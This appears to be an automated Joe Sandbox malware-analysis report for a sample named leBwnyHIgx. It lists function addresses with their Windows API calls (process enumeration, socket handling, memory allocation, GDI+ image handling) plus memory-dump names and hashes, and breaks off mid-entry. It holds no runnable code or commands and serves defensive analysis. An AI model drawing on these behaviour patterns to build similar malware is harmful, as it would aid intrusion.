Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Value$DecodePointerThread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 2383549826-0
Opcode ID: faa950d4b3153849c36832d66fe64be02d1d3efb8d6408d80de76cff74a68b6b
Instruction ID: c16ebc416d66efe79c662b10074bc7049fa79a910ed2f7e914f5ffd5891b9ca3
Opcode Fuzzy Hash: faa950d4b3153849c36832d66fe64be02d1d3efb8d6408d80de76cff74a68b6b
Instruction Fuzzy Hash: FEF0967CA03305BBC708FF70C50888E7FACBFC56403108498E9458F201DA34D441C795

Function 03076050 Relevance: 9.1, APIs: 6, Instructions: 86processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0307607C
CreateToolhelp32Snapshot.KERNEL32 ref: 03076088
Process32FirstW.KERNEL32 ref: 030760B9
Process32NextW.KERNEL32(00000000,0000022C), ref: 0307610F
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 03076116

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memset
String ID:
API String ID: 2526126748-0
Opcode ID: 6060387a09e0ec22400d647f753233fd3ab6a539cff5a6b190893ea9be770dd4
Instruction ID: c79537503d9171b9a69e04e019517a9f849ef8a3f65b8813bb1f1b1c5af25214
Opcode Fuzzy Hash: 6060387a09e0ec22400d647f753233fd3ab6a539cff5a6b190893ea9be770dd4
Instruction Fuzzy Hash: 0021B731A0611DABDB20FF68DC59BEAB3A9FF15310F044699DD0A97280EB369A10C694

Function 027132E0 Relevance: 9.0, APIs: 6, Instructions: 32synchronizationsleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 027132F1
Sleep.KERNEL32(00000258), ref: 027132FE
InterlockedExchange.KERNEL32(?,00000000), ref: 02713306
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02713312
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0271331A
Sleep.KERNEL32(0000012C), ref: 0271332B

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: ObjectSingleWait$Sleep$ExchangeInterlocked
String ID:
API String ID: 3137405945-0
Opcode ID: 2f2f752fac218e5ccc4c2d2db805611f154d147b3dbd07da9a4444b604a551aa
Instruction ID: 808f15d4097d4d6b41ff05c7f758f97652b5abcba19b3815073c2d6af2b615af
Opcode Fuzzy Hash: 2f2f752fac218e5ccc4c2d2db805611f154d147b3dbd07da9a4444b604a551aa
Instruction Fuzzy Hash: EEF082722443046BD634ABA9DC84E56F3A8AF85330B218B09F221872D0CAB0E8058BA0

Function 03076690 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0307669B
CoCreateInstance.OLE32(030946FC,00000000,00000001,0309471C,?,?,?,?,?,?,?,?,?,?,0307588A), ref: 030766B2
SysFreeString.OLEAUT32(?), ref: 0307674C
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,?,0307588A), ref: 0307677D

Strings

FriendlyName, xrefs: 0307673B

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CreateFreeInitializeInstanceStringUninitialize
String ID: FriendlyName
API String ID: 841178590-3623505368
Opcode ID: 0d8b21a7ef0d6668cae749d85a94cf2159e49e22f9dbc4d2cd43fea4e841776f
Instruction ID: 90b397c1c35e7e4923d44533e0ef34dedd9f45e5c53da1570327052172db1997
Opcode Fuzzy Hash: 0d8b21a7ef0d6668cae749d85a94cf2159e49e22f9dbc4d2cd43fea4e841776f
Instruction Fuzzy Hash: 82316875B0160AAFDB00DB99CC80EAEB7BDEF88704F148589F505EB250DB71E902CB60

Function 0307F707 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0307F721

Part of subcall function 0307F673: __FF_MSGBANNER.LIBCMT ref: 0307F68C
Part of subcall function 0307F673: __NMSG_WRITE.LIBCMT ref: 0307F693
Part of subcall function 0307F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03084500,00000000,00000001,00000000,?,03088DE6,00000018,03096448,0000000C,03088E76), ref: 0307F6B8

std::exception::exception.LIBCMT ref: 0307F756
std::exception::exception.LIBCMT ref: 0307F770
__CxxThrowException@8.LIBCMT ref: 0307F781

Strings

bad allocation, xrefs: 0307F74F

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: bad allocation
API String ID: 615853336-2104205924
Opcode ID: df3477999bdbd7a91fc4b556c1d240d4bfcc92aabfcb57f3e9eaa2f953e80916
Instruction ID: d0ecb7b5999da5a1afaf0be3ff560b128d86b9db88ea4029146ff250be1df97b
Opcode Fuzzy Hash: df3477999bdbd7a91fc4b556c1d240d4bfcc92aabfcb57f3e9eaa2f953e80916
Instruction Fuzzy Hash: 8EF0FF75D0330FABEF04FB54EC24ADE7BE8AF80218F54001AE814EA191DB70CA05DB98

Function 10011A40 Relevance: 7.6, APIs: 5, Instructions: 100fileCOMMON

Download Yara Rule

APIs

?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MAE_JPBD_J@Z.MSVCP140(?,?,?), ref: 10011A61
?_Pnavail@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBE_JXZ.MSVCP140 ref: 10011A7B
?pptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(00000000,?), ref: 10011ACC
?pbump@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXH@Z.MSVCP140(?), ref: 10011AFD
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 10011B2C

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?pbump@?$basic_streambuf@?pptr@?$basic_streambuf@?xsputn@?$basic_streambuf@Pnavail@?$basic_streambuf@fwrite
String ID:
API String ID: 1074265955-0
Opcode ID: 5ddc3c7a704c1f435e1f2cf7b7af9729b09afe2cf8c3f8fc50bc04272bbf712c
Instruction ID: f3b0000acd429ac5cb95c2efd876261dd8ef2d3ed187a2a6324a5f7f02af080d
Opcode Fuzzy Hash: 5ddc3c7a704c1f435e1f2cf7b7af9729b09afe2cf8c3f8fc50bc04272bbf712c
Instruction Fuzzy Hash: 9E41B075A04249EFDB48CF98C885ADEBBB5FF88314F10C559E92A9B250D774EA80CF50

Function 10015FE6 Relevance: 7.5, APIs: 5, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000135C,00001000,?,10004B1D,00001000), ref: 10015FEE
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000135C,00001000,?,10004B1D,00001000), ref: 10015FFB
_CxxThrowException.VCRUNTIME140(?,10019CBC), ref: 100166FE
stdext::threads::lock_error::lock_error.LIBCPMTD ref: 1001670D
_CxxThrowException.VCRUNTIME140(?,10019D9C), ref: 1001671B

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmallocstdext::threads::lock_error::lock_error
String ID:
API String ID: 1722040371-0
Opcode ID: 484d703399dcadcd353398c13584d4514a4cbdd0134b2ce45ad199602cde101f
Instruction ID: 08eecf3aab68b4969477acf4f8a3a2caa643f1c7ff8f01e52dc4bc7ddf13aa92
Opcode Fuzzy Hash: 484d703399dcadcd353398c13584d4514a4cbdd0134b2ce45ad199602cde101f
Instruction Fuzzy Hash: 56F0543880420DB78F04E6B9EC169ED777CEB04290F604125FA689D4D5EB71F6DA85D4

Function 02712D10 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 02712D3C
CancelIo.KERNEL32(?), ref: 02712D46
InterlockedExchange.KERNEL32(00000000,00000000), ref: 02712D4F
closesocket.WS2_32(?), ref: 02712D59
SetEvent.KERNEL32(00000001), ref: 02712D63

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 8f18371ad4a1ae414f1fd93289b76f0e700f7c31e25c797abaa6f4a32c244744
Instruction ID: 1f6a8ac5d6b603e0a9997760857c52381f2c3e27f0317507139b7740fcff50b0
Opcode Fuzzy Hash: 8f18371ad4a1ae414f1fd93289b76f0e700f7c31e25c797abaa6f4a32c244744
Instruction Fuzzy Hash: 44F04F76640700ABD3349F64DD49F6677B8FB49B11F508A5DFA8297680C7B0B9088BA0

Function 03072D30 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 03072D5C
CancelIo.KERNEL32(?), ref: 03072D66
InterlockedExchange.KERNEL32(00000000,00000000), ref: 03072D6F
closesocket.WS2_32(?), ref: 03072D79
SetEvent.KERNEL32(00000001), ref: 03072D83

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: c8c02214cf27a0cef491a9037e4537b15f8c8d6d6595a1d30027fee08223de59
Instruction ID: b745d779923c8616f7b2c57506feb32f2fa0a3f97449b38b39b75d0655a26846
Opcode Fuzzy Hash: c8c02214cf27a0cef491a9037e4537b15f8c8d6d6595a1d30027fee08223de59
Instruction Fuzzy Hash: BFF08C76101308BBC224AF58DD09F6673FCFB48B11F004A0DF69696684C6B4B9088BA4

Function 10013A70 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,10017B76,000000FF,?,10013642,?), ref: 10013A90
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,10017B76,000000FF,?,10013642), ref: 10013AAB
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,10013642,?), ref: 10013ADF
??1_Lockit@std@@QAE@XZ.MSVCP140(?), ref: 10013B57

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Getcat@?$codecvt@Mbstatet@@@std@@V42@@Vfacet@locale@2@
String ID:
API String ID: 1566052064-0
Opcode ID: fe2f488380e94dcbeb70f586553934bb7d96351eb8217fb32b8625d7819b8d05
Instruction ID: 47359edd55c6cc15742bff4ced4580a4001c133a1fe49908c7c5117e5c40c52a
Opcode Fuzzy Hash: fe2f488380e94dcbeb70f586553934bb7d96351eb8217fb32b8625d7819b8d05
Instruction Fuzzy Hash: DD3141B4D00259DFDB04DF94D981BEEBBB4FF48310F208659E52667391DB34AA84CBA1

Function 02716F17 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02716F31

Part of subcall function 02716E83: __FF_MSGBANNER.LIBCMT ref: 02716E9C
Part of subcall function 02716E83: __NMSG_WRITE.LIBCMT ref: 02716EA3
Part of subcall function 02716E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,02719FB0,00000000,00000001,00000000,?,0271C0CF,00000018,02727C70,0000000C,0271C15F), ref: 02716EC8

std::exception::exception.LIBCMT ref: 02716F66
std::exception::exception.LIBCMT ref: 02716F80
__CxxThrowException@8.LIBCMT ref: 02716F91

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 20b50069ef97e46a977e9b1d5ff9c7366010ebf0d5fc9b9a536df40a3f049f47
Instruction ID: 61f8c5b22b2a5836da15edb9112e5b625116b118c00d91f74ba21b9c5ecbbd2c
Opcode Fuzzy Hash: 20b50069ef97e46a977e9b1d5ff9c7366010ebf0d5fc9b9a536df40a3f049f47
Instruction Fuzzy Hash: B2F0FC32900119AAEF15EBADDD15AAE7FBFAF01718F15442DE415A60D0DFB0CA48CF51

Function 03073160 Relevance: 4.6, APIs: 3, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0307316B
InterlockedExchange.KERNEL32(?,00000001), ref: 03073183
GetCurrentThreadId.KERNEL32 ref: 0307322F

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CurrentThread$ExchangeInterlocked
String ID:
API String ID: 4033114805-0
Opcode ID: 1b007608519319a505f1124c491d038f6137c1e4928193c9047105be1ab3302d
Instruction ID: 6f502b7b0675949b9a7d3ab88cfb90e8f7622a84ea1e37469337f37f44d6c728
Opcode Fuzzy Hash: 1b007608519319a505f1124c491d038f6137c1e4928193c9047105be1ab3302d
Instruction Fuzzy Hash: 2D319174602605AFD718DF69C584A6AB3E8FF84714B10C59DE81ACB654D731F842CBD8

Function 10012F80 Relevance: 4.6, APIs: 3, Instructions: 81COMMON

Download Yara Rule

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140 ref: 10012FBA
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140(00000000), ref: 10012FE7
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,00000040,00000022,?), ref: 10013068

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_ostream@?setstate@?$basic_ios@D@std@@@1@_V?$basic_streambuf@
String ID:
API String ID: 2185338108-0
Opcode ID: 88d071829cc17b632e2f1fa59299d32dbac0b10e089369fb1704501315f6ea19
Instruction ID: 106bc35cbdd57d80b480a718a0c65df66589e39bca71049decacc3f2370ba628
Opcode Fuzzy Hash: 88d071829cc17b632e2f1fa59299d32dbac0b10e089369fb1704501315f6ea19
Instruction Fuzzy Hash: AB313CB4A0021ADFDB04CF98CD91BAEB7B5FF48704F108658E916AB391C771AA41CB91

Function 027111B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 027111E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 02711226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02711255

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 800f04e2a647f2cc76e3a2b2049e37b89ad0bfbdbbd3c2eea562019d1f357251
Instruction ID: ecf892221013ccca0684a75918463ed43f8e7d488edfc6c59e776d062285f101
Opcode Fuzzy Hash: 800f04e2a647f2cc76e3a2b2049e37b89ad0bfbdbbd3c2eea562019d1f357251
Instruction Fuzzy Hash: 2021CF30F40309ABDB249FADD986B6FFBF4EF40705F4089ADE949E6640E630A810CB50

Function 030711B0 Relevance: 4.6, APIs: 3, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 030711E9
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 03071226
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 03071255

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 884e90150c147231209f51fb53a0d3d08fc11cccb4034277fcf96d36e0710d62
Instruction ID: 2f3806b1aa8408cf7508f4abaef8f053c6bb304a59e3f4e5d555a4412a1834df
Opcode Fuzzy Hash: 884e90150c147231209f51fb53a0d3d08fc11cccb4034277fcf96d36e0710d62
Instruction Fuzzy Hash: 55219F71E01709AFDB14DFAED845B6EFBF8FF40B05F0085A9E859E6680E674A8108754

Function 02711100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0271112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0271115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02711192

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: 93e04f6645779620d339d853cc619390c40c5102b6041df41648c9d3e00c92a1
Instruction ID: 5d1285aae0d0c5883f12b9132f9404140b0da0c54863da005c70692608dddc96
Opcode Fuzzy Hash: 93e04f6645779620d339d853cc619390c40c5102b6041df41648c9d3e00c92a1
Instruction Fuzzy Hash: 54118170E40709ABDB209FADDD86B6EFBF8EF04705F4084A9ED59E6240E670A9148B51

Function 03071100 Relevance: 4.6, APIs: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0307112F
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0307115F
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 03071192

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree__floor_pentium4
String ID:
API String ID: 2605973128-0
Opcode ID: b73da09cb183d0df273feeaaf2831230591a6f06cd085425a886eb1cd9b269aa
Instruction ID: e236e7b9db4925067049f036e1a2890cfec3cab7bf1c80c41e2d1e5141e841a1
Opcode Fuzzy Hash: b73da09cb183d0df273feeaaf2831230591a6f06cd085425a886eb1cd9b269aa
Instruction Fuzzy Hash: 7D11D370E01308AFDB10DFADDC86B6EFBF8FF04705F0084A9E959E6280E674A8108714

Function 10005300 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000022,00000040,00000001), ref: 1000534A
?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(1000A5BB,000000FF,?), ref: 10005384

Part of subcall function 10012400: ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,10005395), ref: 1001242D

SetFileAttributesA.KERNEL32(00000000,00000001), ref: 100053A0

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@?write@?$basic_ostream@AttributesBios_base@std@@FileV12@
String ID:
API String ID: 1581416325-0
Opcode ID: b6dca49e7f140338e59bc9ee201abc6e232935be4f3253fc458cc6489671f659
Instruction ID: 5c88ff171285725a0febf88608a5dc827106f22a602be97f7403975b38e1ce9c
Opcode Fuzzy Hash: b6dca49e7f140338e59bc9ee201abc6e232935be4f3253fc458cc6489671f659
Instruction Fuzzy Hash: CA215970A00109ABEB54DF64CC95FAEB774FB04750F108268F51AAB2D0DB70AA85CF94

Function 03079DE0 Relevance: 4.5, APIs: 3, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 03079E04
GdipDisposeImage.GDIPLUS(?), ref: 03079E18
GdipDisposeImage.GDIPLUS(?), ref: 03079E3B

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Gdip$DisposeImage$BitmapCreateFromStream
String ID:
API String ID: 800915452-0
Opcode ID: 9bd56c4ac99466bbb795004d62e5f715aefb1d412fa03c46fd1f2cc556e72d84
Instruction ID: 0388820a664aaefdd63698e13f2e54c57f58ff07b1fa9e634179ca3e31e6df5c
Opcode Fuzzy Hash: 9bd56c4ac99466bbb795004d62e5f715aefb1d412fa03c46fd1f2cc556e72d84
Instruction Fuzzy Hash: 20F08C71D0222DAB8B10EFA4D8448AEF7B8BB49611B01865AEC05AB340D7348A15CBE8

Function 03079AC0 Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0309FB64), ref: 03079ADC
GdiplusStartup.GDIPLUS(0309FB60,?,?), ref: 03079B15
LeaveCriticalSection.KERNEL32(0309FB64), ref: 03079B26

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterGdiplusLeaveStartup
String ID:
API String ID: 389129658-0
Opcode ID: 7952839fbf060ff651f40fa05c24b875876bd8e3d1511b26d96af8bef9aa660c
